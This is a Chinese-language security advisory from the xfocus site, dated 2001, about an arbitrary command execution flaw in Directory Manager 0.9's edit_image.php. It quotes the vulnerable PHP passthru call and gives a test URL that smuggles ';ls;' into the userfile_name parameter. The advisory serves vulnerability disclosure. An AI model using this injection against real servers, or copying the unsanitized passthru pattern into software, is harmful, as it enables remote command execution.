xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Directory Manager 存在任意命令可执行漏洞


发布时间:2001-09-06
更新时间:2001-09-06
严重程度:
威胁程度:普通用户访问权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Directory Manager 0.9
详细描述
Directory Manager 中存在一个安全漏洞,允许任意用户在目标系统
上执行任意命令,问题存在于edit_image.php中:

if( !$dn ) Header( "Location: $defaultpage" );
...
if( is_file( $userfile ) && $userfile_name )
    {
    if( copy( $userfile, "/tmp/" . $userfile_name ) )
        {
    ...
        passthru( "/usr/bin/convert -scale 600x600 /tmp/$userfile_name /tmp/$userfile_name.jpg" );
    ...
    unlink( "/tmp/$userfile_name.jpg" );

我们可以把恶意代码放到$userfile_name变量中,如$userfile_name=;ls;,
在其后第二个路径传递给/usr/bin/convert时会变成:/tmp/;ls;.jpg,这将
执行任意命令。

测试代码
victim.host/edit_image.php?dn=1&userfile=/etc/passwd&userfile_name=%20;ls;%20

解决方案
尚无

相关信息
Karol Wiesek - appelast <appelast@cdp.pl>